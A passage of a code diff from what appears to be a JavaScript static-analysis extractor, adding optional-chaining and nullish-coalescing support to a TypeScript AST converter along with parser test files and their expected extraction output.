CallExpression call = new CallExpression(loc, callee, typeArguments, arguments, false, false);
attachResolvedSignature(call, node);
return call;
}
@@ -1057,7 +1079,7 @@ public class TypeScriptASTConverter {
SourceLocation loc) throws ParseError {
Expression object = convertChild(node, "expression");
Expression property = convertChild(node, "argumentExpression");
return new MemberExpression(loc, object, property, true);
return new MemberExpression(loc, object, property, true, false, false);
}
private Node convertEmptyStatement(SourceLocation loc) {
@@ -1341,7 +1363,7 @@ public class TypeScriptASTConverter {
} else {
throw new ParseError("Unsupported syntax in import type", getSourceLocation(node).getStart());
}
MemberExpression member = new MemberExpression(getSourceLocation(node), (Expression) base, name, false);
MemberExpression member = new MemberExpression(getSourceLocation(node), (Expression) base, name, false, false, false);
attachSymbolInformation(member, node);
return member;
}
@@ -1612,7 +1634,7 @@ public class TypeScriptASTConverter {
if (hasChild(element, "dotDotDotToken")) {
propVal = new RestElement(eltLoc, propKey);
} else if (hasChild(element, "initializer")) {
propVal = new AssignmentPattern(eltLoc, "=", propKey, convertChild(element, "initializer"));
propVal = new AssignmentPattern(eltLoc, "=", convertChild(element, "name"), convertChild(element, "initializer"));
} else {
propVal = convertChild(element, "name");
}
@@ -1827,7 +1849,7 @@ public class TypeScriptASTConverter {
private Node convertPropertyAccessExpression(JsonObject node,
SourceLocation loc) throws ParseError {
return new MemberExpression(loc, convertChild(node, "expression"), convertChild(node, "name"), false);
return new MemberExpression(loc, convertChild(node, "expression"), convertChild(node, "name"), false, false, false);
}
private Node convertPropertyAssignment(JsonObject node,
@@ -1868,7 +1890,7 @@ public class TypeScriptASTConverter {
}
private Node convertQualifiedName(JsonObject node, SourceLocation loc) throws ParseError {
MemberExpression expr = new MemberExpression(loc, convertChild(node, "left"), convertChild(node, "right"), false);
MemberExpression expr = new MemberExpression(loc, convertChild(node, "left"), convertChild(node, "right"), false, false, false);
attachSymbolInformation(expr, node);
return expr;
}

View File

@@ -0,0 +1,7 @@
x1 ?? y1;
x2 || y2 ?? z2;
x3 ?? y3 || z3;
x4 && y4 ?? z4;
x5 ?? y5 && z5;

View File

@@ -0,0 +1,13 @@
a1?.b1;
a2?.[x2];
a3?.b3();
a4?.();
o5?.3:2;
a6?.b6[x6].c6?.(y6).d6;
delete a?.b

View File

@@ -0,0 +1 @@
new a?.();

View File

@@ -0,0 +1 @@
a?.`{b}`;

View File

@@ -0,0 +1 @@
new a?.b();

View File

@@ -0,0 +1 @@
a?.b`{c}`;

View File

@@ -0,0 +1 @@
a?.b = c;

View File

@@ -0,0 +1 @@
new a.b?.c();

View File

@@ -0,0 +1,29 @@
a?.b.c(++x).d;
a?.b[3].c?.(x).d;
(a?.b).c;
(a?.b.c).d;
a?.[b?.c?.d].e?.f;
a?.()[b?.().c?.().d].e?.().f;
if (a?.b) {
true;
} else {
false;
}
if (!a?.b) {
true;
} else {
false;
}
if (a?.b && c?.d) {
true;
} else {
false;
}

View File

@@ -0,0 +1,494 @@
#10000=@"/nullish-coalescing.js;sourcefile"
files(#10000,"/nullish-coalescing.js","nullish-coalescing","js",0)
#10001=@"/;folder"
folders(#10001,"/","")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=@"global_scope"
scopes(#20000,0)
#20001=@"script;{#10000},1,1"
toplevels(#20001,0)
#20002=@"loc,{#10000},1,1,7,15"
locations_default(#20002,#10000,1,1,7,15)
hasLocation(#20001,#20002)
#20003=*
stmts(#20003,2,#20001,0,"x1 ?? y1;")
#20004=@"loc,{#10000},1,1,1,9"
locations_default(#20004,#10000,1,1,1,9)
hasLocation(#20003,#20004)
stmtContainers(#20003,#20001)
#20005=*
exprs(#20005,107,#20003,0,"x1 ?? y1")
#20006=@"loc,{#10000},1,1,1,8"
locations_default(#20006,#10000,1,1,1,8)
hasLocation(#20005,#20006)
enclosingStmt(#20005,#20003)
exprContainers(#20005,#20001)
#20007=*
exprs(#20007,79,#20005,0,"x1")
#20008=@"loc,{#10000},1,1,1,2"
locations_default(#20008,#10000,1,1,1,2)
hasLocation(#20007,#20008)
enclosingStmt(#20007,#20003)
exprContainers(#20007,#20001)
literals("x1","x1",#20007)
#20009=@"var;{x1};{#20000}"
variables(#20009,"x1",#20000)
bind(#20007,#20009)
#20010=*
exprs(#20010,79,#20005,1,"y1")
#20011=@"loc,{#10000},1,7,1,8"
locations_default(#20011,#10000,1,7,1,8)
hasLocation(#20010,#20011)
enclosingStmt(#20010,#20003)
exprContainers(#20010,#20001)
literals("y1","y1",#20010)
#20012=@"var;{y1};{#20000}"
variables(#20012,"y1",#20000)
bind(#20010,#20012)
#20013=*
stmts(#20013,2,#20001,1,"x2 || y2 ?? z2;")
#20014=@"loc,{#10000},3,1,3,15"
locations_default(#20014,#10000,3,1,3,15)
hasLocation(#20013,#20014)
stmtContainers(#20013,#20001)
#20015=*
exprs(#20015,107,#20013,0,"x2 || y2 ?? z2")
#20016=@"loc,{#10000},3,1,3,14"
locations_default(#20016,#10000,3,1,3,14)
hasLocation(#20015,#20016)
enclosingStmt(#20015,#20013)
exprContainers(#20015,#20001)
#20017=*
exprs(#20017,45,#20015,0,"x2 || y2")
#20018=@"loc,{#10000},3,1,3,8"
locations_default(#20018,#10000,3,1,3,8)
hasLocation(#20017,#20018)
enclosingStmt(#20017,#20013)
exprContainers(#20017,#20001)
#20019=*
exprs(#20019,79,#20017,0,"x2")
#20020=@"loc,{#10000},3,1,3,2"
locations_default(#20020,#10000,3,1,3,2)
hasLocation(#20019,#20020)
enclosingStmt(#20019,#20013)
exprContainers(#20019,#20001)
literals("x2","x2",#20019)
#20021=@"var;{x2};{#20000}"
variables(#20021,"x2",#20000)
bind(#20019,#20021)
#20022=*
exprs(#20022,79,#20017,1,"y2")
#20023=@"loc,{#10000},3,7,3,8"
locations_default(#20023,#10000,3,7,3,8)
hasLocation(#20022,#20023)
enclosingStmt(#20022,#20013)
exprContainers(#20022,#20001)
literals("y2","y2",#20022)
#20024=@"var;{y2};{#20000}"
variables(#20024,"y2",#20000)
bind(#20022,#20024)
#20025=*
exprs(#20025,79,#20015,1,"z2")
#20026=@"loc,{#10000},3,13,3,14"
locations_default(#20026,#10000,3,13,3,14)
hasLocation(#20025,#20026)
enclosingStmt(#20025,#20013)
exprContainers(#20025,#20001)
literals("z2","z2",#20025)
#20027=@"var;{z2};{#20000}"
variables(#20027,"z2",#20000)
bind(#20025,#20027)
#20028=*
stmts(#20028,2,#20001,2,"x3 ?? y3 || z3;")
#20029=@"loc,{#10000},4,1,4,15"
locations_default(#20029,#10000,4,1,4,15)
hasLocation(#20028,#20029)
stmtContainers(#20028,#20001)
#20030=*
exprs(#20030,45,#20028,0,"x3 ?? y3 || z3")
#20031=@"loc,{#10000},4,1,4,14"
locations_default(#20031,#10000,4,1,4,14)
hasLocation(#20030,#20031)
enclosingStmt(#20030,#20028)
exprContainers(#20030,#20001)
#20032=*
exprs(#20032,107,#20030,0,"x3 ?? y3")
#20033=@"loc,{#10000},4,1,4,8"
locations_default(#20033,#10000,4,1,4,8)
hasLocation(#20032,#20033)
enclosingStmt(#20032,#20028)
exprContainers(#20032,#20001)
#20034=*
exprs(#20034,79,#20032,0,"x3")
#20035=@"loc,{#10000},4,1,4,2"
locations_default(#20035,#10000,4,1,4,2)
hasLocation(#20034,#20035)
enclosingStmt(#20034,#20028)
exprContainers(#20034,#20001)
literals("x3","x3",#20034)
#20036=@"var;{x3};{#20000}"
variables(#20036,"x3",#20000)
bind(#20034,#20036)
#20037=*
exprs(#20037,79,#20032,1,"y3")
#20038=@"loc,{#10000},4,7,4,8"
locations_default(#20038,#10000,4,7,4,8)
hasLocation(#20037,#20038)
enclosingStmt(#20037,#20028)
exprContainers(#20037,#20001)
literals("y3","y3",#20037)
#20039=@"var;{y3};{#20000}"
variables(#20039,"y3",#20000)
bind(#20037,#20039)
#20040=*
exprs(#20040,79,#20030,1,"z3")
#20041=@"loc,{#10000},4,13,4,14"
locations_default(#20041,#10000,4,13,4,14)
hasLocation(#20040,#20041)
enclosingStmt(#20040,#20028)
exprContainers(#20040,#20001)
literals("z3","z3",#20040)
#20042=@"var;{z3};{#20000}"
variables(#20042,"z3",#20000)
bind(#20040,#20042)
#20043=*
stmts(#20043,2,#20001,3,"x4 && y4 ?? z4;")
#20044=@"loc,{#10000},6,1,6,15"
locations_default(#20044,#10000,6,1,6,15)
hasLocation(#20043,#20044)
stmtContainers(#20043,#20001)
#20045=*
exprs(#20045,107,#20043,0,"x4 && y4 ?? z4")
#20046=@"loc,{#10000},6,1,6,14"
locations_default(#20046,#10000,6,1,6,14)
hasLocation(#20045,#20046)
enclosingStmt(#20045,#20043)
exprContainers(#20045,#20001)
#20047=*
exprs(#20047,44,#20045,0,"x4 && y4")
#20048=@"loc,{#10000},6,1,6,8"
locations_default(#20048,#10000,6,1,6,8)
hasLocation(#20047,#20048)
enclosingStmt(#20047,#20043)
exprContainers(#20047,#20001)
#20049=*
exprs(#20049,79,#20047,0,"x4")
#20050=@"loc,{#10000},6,1,6,2"
locations_default(#20050,#10000,6,1,6,2)
hasLocation(#20049,#20050)
enclosingStmt(#20049,#20043)
exprContainers(#20049,#20001)
literals("x4","x4",#20049)
#20051=@"var;{x4};{#20000}"
variables(#20051,"x4",#20000)
bind(#20049,#20051)
#20052=*
exprs(#20052,79,#20047,1,"y4")
#20053=@"loc,{#10000},6,7,6,8"
locations_default(#20053,#10000,6,7,6,8)
hasLocation(#20052,#20053)
enclosingStmt(#20052,#20043)
exprContainers(#20052,#20001)
literals("y4","y4",#20052)
#20054=@"var;{y4};{#20000}"
variables(#20054,"y4",#20000)
bind(#20052,#20054)
#20055=*
exprs(#20055,79,#20045,1,"z4")
#20056=@"loc,{#10000},6,13,6,14"
locations_default(#20056,#10000,6,13,6,14)
hasLocation(#20055,#20056)
enclosingStmt(#20055,#20043)
exprContainers(#20055,#20001)
literals("z4","z4",#20055)
#20057=@"var;{z4};{#20000}"
variables(#20057,"z4",#20000)
bind(#20055,#20057)
#20058=*
stmts(#20058,2,#20001,4,"x5 ?? y5 && z5;")
#20059=@"loc,{#10000},7,1,7,15"
locations_default(#20059,#10000,7,1,7,15)
hasLocation(#20058,#20059)
stmtContainers(#20058,#20001)
#20060=*
exprs(#20060,107,#20058,0,"x5 ?? y5 && z5")
#20061=@"loc,{#10000},7,1,7,14"
locations_default(#20061,#10000,7,1,7,14)
hasLocation(#20060,#20061)
enclosingStmt(#20060,#20058)
exprContainers(#20060,#20001)
#20062=*
exprs(#20062,79,#20060,0,"x5")
#20063=@"loc,{#10000},7,1,7,2"
locations_default(#20063,#10000,7,1,7,2)
hasLocation(#20062,#20063)
enclosingStmt(#20062,#20058)
exprContainers(#20062,#20001)
literals("x5","x5",#20062)
#20064=@"var;{x5};{#20000}"
variables(#20064,"x5",#20000)
bind(#20062,#20064)
#20065=*
exprs(#20065,44,#20060,1,"y5 && z5")
#20066=@"loc,{#10000},7,7,7,14"
locations_default(#20066,#10000,7,7,7,14)
hasLocation(#20065,#20066)
enclosingStmt(#20065,#20058)
exprContainers(#20065,#20001)
#20067=*
exprs(#20067,79,#20065,0,"y5")
#20068=@"loc,{#10000},7,7,7,8"
locations_default(#20068,#10000,7,7,7,8)
hasLocation(#20067,#20068)
enclosingStmt(#20067,#20058)
exprContainers(#20067,#20001)
literals("y5","y5",#20067)
#20069=@"var;{y5};{#20000}"
variables(#20069,"y5",#20000)
bind(#20067,#20069)
#20070=*
exprs(#20070,79,#20065,1,"z5")
#20071=@"loc,{#10000},7,13,7,14"
locations_default(#20071,#10000,7,13,7,14)
hasLocation(#20070,#20071)
enclosingStmt(#20070,#20058)
exprContainers(#20070,#20001)
literals("z5","z5",#20070)
#20072=@"var;{z5};{#20000}"
variables(#20072,"z5",#20000)
bind(#20070,#20072)
#20073=*
lines(#20073,#20001,"x1 ?? y1;","
")
hasLocation(#20073,#20004)
#20074=*
lines(#20074,#20001,"","
")
#20075=@"loc,{#10000},2,1,2,0"
locations_default(#20075,#10000,2,1,2,0)
hasLocation(#20074,#20075)
#20076=*
lines(#20076,#20001,"x2 || y2 ?? z2;","
")
hasLocation(#20076,#20014)
#20077=*
lines(#20077,#20001,"x3 ?? y3 || z3;","
")
hasLocation(#20077,#20029)
#20078=*
lines(#20078,#20001,"","
")
#20079=@"loc,{#10000},5,1,5,0"
locations_default(#20079,#10000,5,1,5,0)
hasLocation(#20078,#20079)
#20080=*
lines(#20080,#20001,"x4 && y4 ?? z4;","
")
hasLocation(#20080,#20044)
#20081=*
lines(#20081,#20001,"x5 ?? y5 && z5;","")
hasLocation(#20081,#20059)
numlines(#20001,7,5,0)
#20082=*
tokeninfo(#20082,6,#20001,0,"x1")
hasLocation(#20082,#20008)
#20083=*
tokeninfo(#20083,8,#20001,1,"??")
#20084=@"loc,{#10000},1,4,1,5"
locations_default(#20084,#10000,1,4,1,5)
hasLocation(#20083,#20084)
#20085=*
tokeninfo(#20085,6,#20001,2,"y1")
hasLocation(#20085,#20011)
#20086=*
tokeninfo(#20086,8,#20001,3,";")
#20087=@"loc,{#10000},1,9,1,9"
locations_default(#20087,#10000,1,9,1,9)
hasLocation(#20086,#20087)
#20088=*
tokeninfo(#20088,6,#20001,4,"x2")
hasLocation(#20088,#20020)
#20089=*
tokeninfo(#20089,8,#20001,5,"||")
#20090=@"loc,{#10000},3,4,3,5"
locations_default(#20090,#10000,3,4,3,5)
hasLocation(#20089,#20090)
#20091=*
tokeninfo(#20091,6,#20001,6,"y2")
hasLocation(#20091,#20023)
#20092=*
tokeninfo(#20092,8,#20001,7,"??")
#20093=@"loc,{#10000},3,10,3,11"
locations_default(#20093,#10000,3,10,3,11)
hasLocation(#20092,#20093)
#20094=*
tokeninfo(#20094,6,#20001,8,"z2")
hasLocation(#20094,#20026)
#20095=*
tokeninfo(#20095,8,#20001,9,";")
#20096=@"loc,{#10000},3,15,3,15"
locations_default(#20096,#10000,3,15,3,15)
hasLocation(#20095,#20096)
#20097=*
tokeninfo(#20097,6,#20001,10,"x3")
hasLocation(#20097,#20035)
#20098=*
tokeninfo(#20098,8,#20001,11,"??")
#20099=@"loc,{#10000},4,4,4,5"
locations_default(#20099,#10000,4,4,4,5)
hasLocation(#20098,#20099)
#20100=*
tokeninfo(#20100,6,#20001,12,"y3")
hasLocation(#20100,#20038)
#20101=*
tokeninfo(#20101,8,#20001,13,"||")
#20102=@"loc,{#10000},4,10,4,11"
locations_default(#20102,#10000,4,10,4,11)
hasLocation(#20101,#20102)
#20103=*
tokeninfo(#20103,6,#20001,14,"z3")
hasLocation(#20103,#20041)
#20104=*
tokeninfo(#20104,8,#20001,15,";")
#20105=@"loc,{#10000},4,15,4,15"
locations_default(#20105,#10000,4,15,4,15)
hasLocation(#20104,#20105)
#20106=*
tokeninfo(#20106,6,#20001,16,"x4")
hasLocation(#20106,#20050)
#20107=*
tokeninfo(#20107,8,#20001,17,"&&")
#20108=@"loc,{#10000},6,4,6,5"
locations_default(#20108,#10000,6,4,6,5)
hasLocation(#20107,#20108)
#20109=*
tokeninfo(#20109,6,#20001,18,"y4")
hasLocation(#20109,#20053)
#20110=*
tokeninfo(#20110,8,#20001,19,"??")
#20111=@"loc,{#10000},6,10,6,11"
locations_default(#20111,#10000,6,10,6,11)
hasLocation(#20110,#20111)
#20112=*
tokeninfo(#20112,6,#20001,20,"z4")
hasLocation(#20112,#20056)
#20113=*
tokeninfo(#20113,8,#20001,21,";")
#20114=@"loc,{#10000},6,15,6,15"
locations_default(#20114,#10000,6,15,6,15)
hasLocation(#20113,#20114)
#20115=*
tokeninfo(#20115,6,#20001,22,"x5")
hasLocation(#20115,#20063)
#20116=*
tokeninfo(#20116,8,#20001,23,"??")
#20117=@"loc,{#10000},7,4,7,5"
locations_default(#20117,#10000,7,4,7,5)
hasLocation(#20116,#20117)
#20118=*
tokeninfo(#20118,6,#20001,24,"y5")
hasLocation(#20118,#20068)
#20119=*
tokeninfo(#20119,8,#20001,25,"&&")
#20120=@"loc,{#10000},7,10,7,11"
locations_default(#20120,#10000,7,10,7,11)
hasLocation(#20119,#20120)
#20121=*
tokeninfo(#20121,6,#20001,26,"z5")
hasLocation(#20121,#20071)
#20122=*
tokeninfo(#20122,8,#20001,27,";")
#20123=@"loc,{#10000},7,15,7,15"
locations_default(#20123,#10000,7,15,7,15)
hasLocation(#20122,#20123)
#20124=*
tokeninfo(#20124,0,#20001,28,"")
#20125=@"loc,{#10000},7,16,7,15"
locations_default(#20125,#10000,7,16,7,15)
hasLocation(#20124,#20125)
#20126=*
entry_cfg_node(#20126,#20001)
#20127=@"loc,{#10000},1,1,1,0"
locations_default(#20127,#10000,1,1,1,0)
hasLocation(#20126,#20127)
#20128=*
exit_cfg_node(#20128,#20001)
hasLocation(#20128,#20125)
successor(#20058,#20060)
successor(#20060,#20062)
successor(#20062,#20065)
successor(#20062,#20128)
successor(#20065,#20067)
#20129=*
guard_node(#20129,1,#20067)
hasLocation(#20129,#20068)
successor(#20129,#20070)
#20130=*
guard_node(#20130,0,#20067)
hasLocation(#20130,#20068)
successor(#20130,#20128)
successor(#20067,#20129)
successor(#20067,#20130)
successor(#20070,#20128)
successor(#20043,#20045)
successor(#20045,#20047)
successor(#20047,#20049)
#20131=*
guard_node(#20131,1,#20049)
hasLocation(#20131,#20050)
successor(#20131,#20052)
#20132=*
guard_node(#20132,0,#20049)
hasLocation(#20132,#20050)
successor(#20132,#20055)
successor(#20132,#20058)
successor(#20049,#20131)
successor(#20049,#20132)
successor(#20052,#20055)
successor(#20052,#20058)
successor(#20055,#20058)
successor(#20028,#20030)
successor(#20030,#20032)
successor(#20032,#20034)
successor(#20034,#20037)
successor(#20034,#20043)
successor(#20034,#20040)
#20133=*
guard_node(#20133,1,#20037)
hasLocation(#20133,#20038)
successor(#20133,#20043)
#20134=*
guard_node(#20134,0,#20037)
hasLocation(#20134,#20038)
successor(#20134,#20040)
successor(#20037,#20133)
successor(#20037,#20134)
successor(#20040,#20043)
successor(#20013,#20015)
successor(#20015,#20017)
successor(#20017,#20019)
#20135=*
guard_node(#20135,1,#20019)
hasLocation(#20135,#20020)
successor(#20135,#20025)
successor(#20135,#20028)
#20136=*
guard_node(#20136,0,#20019)
hasLocation(#20136,#20020)
successor(#20136,#20022)
successor(#20019,#20135)
successor(#20019,#20136)
successor(#20022,#20025)
successor(#20022,#20028)
successor(#20025,#20028)
successor(#20003,#20005)
successor(#20005,#20007)
successor(#20007,#20010)
successor(#20007,#20013)
successor(#20010,#20013)
successor(#20126,#20003)
numlines(#10000,7,5,0)
filetype(#10000,"javascript")

View File

@@ -0,0 +1,655 @@
#10000=@"/optional-chaining.js;sourcefile"
files(#10000,"/optional-chaining.js","optional-chaining","js",0)
#10001=@"/;folder"
folders(#10001,"/","")
containerparent(#10001,#10000)
#10002=@"loc,{#10000},0,0,0,0"
locations_default(#10002,#10000,0,0,0,0)
hasLocation(#10000,#10002)
#20000=@"global_scope"
scopes(#20000,0)
#20001=@"script;{#10000},1,1"
toplevels(#20001,0)
#20002=@"loc,{#10000},1,1,13,11"
locations_default(#20002,#10000,1,1,13,11)
hasLocation(#20001,#20002)
#20003=*
stmts(#20003,2,#20001,0,"a1?.b1;")
#20004=@"loc,{#10000},1,1,1,7"
locations_default(#20004,#10000,1,1,1,7)
hasLocation(#20003,#20004)
stmtContainers(#20003,#20001)
#20005=*
exprs(#20005,14,#20003,0,"a1?.b1")
#20006=@"loc,{#10000},1,1,1,6"
locations_default(#20006,#10000,1,1,1,6)
hasLocation(#20005,#20006)
enclosingStmt(#20005,#20003)
exprContainers(#20005,#20001)
#20007=*
exprs(#20007,79,#20005,0,"a1")
#20008=@"loc,{#10000},1,1,1,2"
locations_default(#20008,#10000,1,1,1,2)
hasLocation(#20007,#20008)
enclosingStmt(#20007,#20003)
exprContainers(#20007,#20001)
literals("a1","a1",#20007)
#20009=@"var;{a1};{#20000}"
variables(#20009,"a1",#20000)
bind(#20007,#20009)
#20010=*
exprs(#20010,0,#20005,1,"b1")
#20011=@"loc,{#10000},1,5,1,6"
locations_default(#20011,#10000,1,5,1,6)
hasLocation(#20010,#20011)
enclosingStmt(#20010,#20003)
exprContainers(#20010,#20001)
literals("b1","b1",#20010)
isOptionalChaining(#20005)
#20012=*
stmts(#20012,2,#20001,1,"a2?.[x2];")
#20013=@"loc,{#10000},3,1,3,9"
locations_default(#20013,#10000,3,1,3,9)
hasLocation(#20012,#20013)
stmtContainers(#20012,#20001)
#20014=*
exprs(#20014,15,#20012,0,"a2?.[x2]")
#20015=@"loc,{#10000},3,1,3,8"
locations_default(#20015,#10000,3,1,3,8)
hasLocation(#20014,#20015)
enclosingStmt(#20014,#20012)
exprContainers(#20014,#20001)
#20016=*
exprs(#20016,79,#20014,0,"a2")
#20017=@"loc,{#10000},3,1,3,2"
locations_default(#20017,#10000,3,1,3,2)
hasLocation(#20016,#20017)
enclosingStmt(#20016,#20012)
exprContainers(#20016,#20001)
literals("a2","a2",#20016)
#20018=@"var;{a2};{#20000}"
variables(#20018,"a2",#20000)
bind(#20016,#20018)
#20019=*
exprs(#20019,79,#20014,1,"x2")
#20020=@"loc,{#10000},3,6,3,7"
locations_default(#20020,#10000,3,6,3,7)
hasLocation(#20019,#20020)
enclosingStmt(#20019,#20012)
exprContainers(#20019,#20001)
literals("x2","x2",#20019)
#20021=@"var;{x2};{#20000}"
variables(#20021,"x2",#20000)
bind(#20019,#20021)
isOptionalChaining(#20014)
#20022=*
stmts(#20022,2,#20001,2,"a3?.b3();")
#20023=@"loc,{#10000},5,1,5,9"
locations_default(#20023,#10000,5,1,5,9)
hasLocation(#20022,#20023)
stmtContainers(#20022,#20001)
#20024=*
exprs(#20024,13,#20022,0,"a3?.b3()")
#20025=@"loc,{#10000},5,1,5,8"
locations_default(#20025,#10000,5,1,5,8)
hasLocation(#20024,#20025)
enclosingStmt(#20024,#20022)
exprContainers(#20024,#20001)
#20026=*
exprs(#20026,14,#20024,-1,"a3?.b3")
#20027=@"loc,{#10000},5,1,5,6"
locations_default(#20027,#10000,5,1,5,6)
hasLocation(#20026,#20027)
enclosingStmt(#20026,#20022)
exprContainers(#20026,#20001)
#20028=*
exprs(#20028,79,#20026,0,"a3")
#20029=@"loc,{#10000},5,1,5,2"
locations_default(#20029,#10000,5,1,5,2)
hasLocation(#20028,#20029)
enclosingStmt(#20028,#20022)
exprContainers(#20028,#20001)
literals("a3","a3",#20028)
#20030=@"var;{a3};{#20000}"
variables(#20030,"a3",#20000)
bind(#20028,#20030)
#20031=*
exprs(#20031,0,#20026,1,"b3")
#20032=@"loc,{#10000},5,5,5,6"
locations_default(#20032,#10000,5,5,5,6)
hasLocation(#20031,#20032)
enclosingStmt(#20031,#20022)
exprContainers(#20031,#20001)
literals("b3","b3",#20031)
isOptionalChaining(#20026)
#20033=*
stmts(#20033,2,#20001,3,"a4?.();")
#20034=@"loc,{#10000},7,1,7,7"
locations_default(#20034,#10000,7,1,7,7)
hasLocation(#20033,#20034)
stmtContainers(#20033,#20001)
#20035=*
exprs(#20035,13,#20033,0,"a4?.()")
#20036=@"loc,{#10000},7,1,7,6"
locations_default(#20036,#10000,7,1,7,6)
hasLocation(#20035,#20036)
enclosingStmt(#20035,#20033)
exprContainers(#20035,#20001)
#20037=*
exprs(#20037,79,#20035,-1,"a4")
#20038=@"loc,{#10000},7,1,7,2"
locations_default(#20038,#10000,7,1,7,2)
hasLocation(#20037,#20038)
enclosingStmt(#20037,#20033)
exprContainers(#20037,#20001)
literals("a4","a4",#20037)
#20039=@"var;{a4};{#20000}"
variables(#20039,"a4",#20000)
bind(#20037,#20039)
isOptionalChaining(#20035)
#20040=*
stmts(#20040,2,#20001,4,"o5?.3:2;")
#20041=@"loc,{#10000},9,1,9,8"
locations_default(#20041,#10000,9,1,9,8)
hasLocation(#20040,#20041)
stmtContainers(#20040,#20001)
#20042=*
exprs(#20042,11,#20040,0,"o5?.3:2")
#20043=@"loc,{#10000},9,1,9,7"
locations_default(#20043,#10000,9,1,9,7)
hasLocation(#20042,#20043)
enclosingStmt(#20042,#20040)
exprContainers(#20042,#20001)
#20044=*
exprs(#20044,79,#20042,0,"o5")
#20045=@"loc,{#10000},9,1,9,2"
locations_default(#20045,#10000,9,1,9,2)
hasLocation(#20044,#20045)
enclosingStmt(#20044,#20040)
exprContainers(#20044,#20001)
literals("o5","o5",#20044)
#20046=@"var;{o5};{#20000}"
variables(#20046,"o5",#20000)
bind(#20044,#20046)
#20047=*
exprs(#20047,3,#20042,1,".3")
#20048=@"loc,{#10000},9,4,9,5"
locations_default(#20048,#10000,9,4,9,5)
hasLocation(#20047,#20048)
enclosingStmt(#20047,#20040)
exprContainers(#20047,#20001)
literals("0.3",".3",#20047)
#20049=*
exprs(#20049,3,#20042,2,"2")
#20050=@"loc,{#10000},9,7,9,7"
locations_default(#20050,#10000,9,7,9,7)
hasLocation(#20049,#20050)
enclosingStmt(#20049,#20040)
exprContainers(#20049,#20001)
literals("2","2",#20049)
#20051=*
stmts(#20051,2,#20001,5,"a6?.b6[ ... y6).d6;")
#20052=@"loc,{#10000},11,1,11,23"
locations_default(#20052,#10000,11,1,11,23)
hasLocation(#20051,#20052)
stmtContainers(#20051,#20001)
#20053=*
exprs(#20053,14,#20051,0,"a6?.b6[ ... (y6).d6")
#20054=@"loc,{#10000},11,1,11,22"
locations_default(#20054,#10000,11,1,11,22)
hasLocation(#20053,#20054)
enclosingStmt(#20053,#20051)
exprContainers(#20053,#20001)
#20055=*
exprs(#20055,13,#20053,0,"a6?.b6[x6].c6?.(y6)")
#20056=@"loc,{#10000},11,1,11,19"
locations_default(#20056,#10000,11,1,11,19)
hasLocation(#20055,#20056)
enclosingStmt(#20055,#20051)
exprContainers(#20055,#20001)
#20057=*
exprs(#20057,14,#20055,-1,"a6?.b6[x6].c6")
#20058=@"loc,{#10000},11,1,11,13"
locations_default(#20058,#10000,11,1,11,13)
hasLocation(#20057,#20058)
enclosingStmt(#20057,#20051)
exprContainers(#20057,#20001)
#20059=*
exprs(#20059,15,#20057,0,"a6?.b6[x6]")
#20060=@"loc,{#10000},11,1,11,10"
locations_default(#20060,#10000,11,1,11,10)
hasLocation(#20059,#20060)
enclosingStmt(#20059,#20051)
exprContainers(#20059,#20001)
#20061=*
exprs(#20061,14,#20059,0,"a6?.b6")
#20062=@"loc,{#10000},11,1,11,6"
locations_default(#20062,#10000,11,1,11,6)
hasLocation(#20061,#20062)
enclosingStmt(#20061,#20051)
exprContainers(#20061,#20001)
#20063=*
exprs(#20063,79,#20061,0,"a6")
#20064=@"loc,{#10000},11,1,11,2"
locations_default(#20064,#10000,11,1,11,2)
hasLocation(#20063,#20064)
enclosingStmt(#20063,#20051)
exprContainers(#20063,#20001)
literals("a6","a6",#20063)
#20065=@"var;{a6};{#20000}"
variables(#20065,"a6",#20000)
bind(#20063,#20065)
#20066=*
exprs(#20066,0,#20061,1,"b6")
#20067=@"loc,{#10000},11,5,11,6"
locations_default(#20067,#10000,11,5,11,6)
hasLocation(#20066,#20067)
enclosingStmt(#20066,#20051)
exprContainers(#20066,#20001)
literals("b6","b6",#20066)
isOptionalChaining(#20061)
#20068=*
exprs(#20068,79,#20059,1,"x6")
#20069=@"loc,{#10000},11,8,11,9"
locations_default(#20069,#10000,11,8,11,9)
hasLocation(#20068,#20069)
enclosingStmt(#20068,#20051)
exprContainers(#20068,#20001)
literals("x6","x6",#20068)
#20070=@"var;{x6};{#20000}"
variables(#20070,"x6",#20000)
bind(#20068,#20070)
#20071=*
exprs(#20071,0,#20057,1,"c6")
#20072=@"loc,{#10000},11,12,11,13"
locations_default(#20072,#10000,11,12,11,13)
hasLocation(#20071,#20072)
enclosingStmt(#20071,#20051)
exprContainers(#20071,#20001)
literals("c6","c6",#20071)
#20073=*
exprs(#20073,79,#20055,0,"y6")
#20074=@"loc,{#10000},11,17,11,18"
locations_default(#20074,#10000,11,17,11,18)
hasLocation(#20073,#20074)
enclosingStmt(#20073,#20051)
exprContainers(#20073,#20001)
literals("y6","y6",#20073)
#20075=@"var;{y6};{#20000}"
variables(#20075,"y6",#20000)
bind(#20073,#20075)
isOptionalChaining(#20055)
#20076=*
exprs(#20076,0,#20053,1,"d6")
#20077=@"loc,{#10000},11,21,11,22"
locations_default(#20077,#10000,11,21,11,22)
hasLocation(#20076,#20077)
enclosingStmt(#20076,#20051)
exprContainers(#20076,#20001)
literals("d6","d6",#20076)
#20078=*
stmts(#20078,2,#20001,6,"delete a?.b")
#20079=@"loc,{#10000},13,1,13,11"
locations_default(#20079,#10000,13,1,13,11)
hasLocation(#20078,#20079)
stmtContainers(#20078,#20001)
#20080=*
exprs(#20080,22,#20078,0,"delete a?.b")
hasLocation(#20080,#20079)
enclosingStmt(#20080,#20078)
exprContainers(#20080,#20001)
#20081=*
exprs(#20081,14,#20080,0,"a?.b")
#20082=@"loc,{#10000},13,8,13,11"
locations_default(#20082,#10000,13,8,13,11)
hasLocation(#20081,#20082)
enclosingStmt(#20081,#20078)
exprContainers(#20081,#20001)
#20083=*
exprs(#20083,79,#20081,0,"a")
#20084=@"loc,{#10000},13,8,13,8"
locations_default(#20084,#10000,13,8,13,8)
hasLocation(#20083,#20084)
enclosingStmt(#20083,#20078)
exprContainers(#20083,#20001)
literals("a","a",#20083)
#20085=@"var;{a};{#20000}"
variables(#20085,"a",#20000)
bind(#20083,#20085)
#20086=*
exprs(#20086,0,#20081,1,"b")
#20087=@"loc,{#10000},13,11,13,11"
locations_default(#20087,#10000,13,11,13,11)
hasLocation(#20086,#20087)
enclosingStmt(#20086,#20078)
exprContainers(#20086,#20001)
literals("b","b",#20086)
isOptionalChaining(#20081)
#20088=*
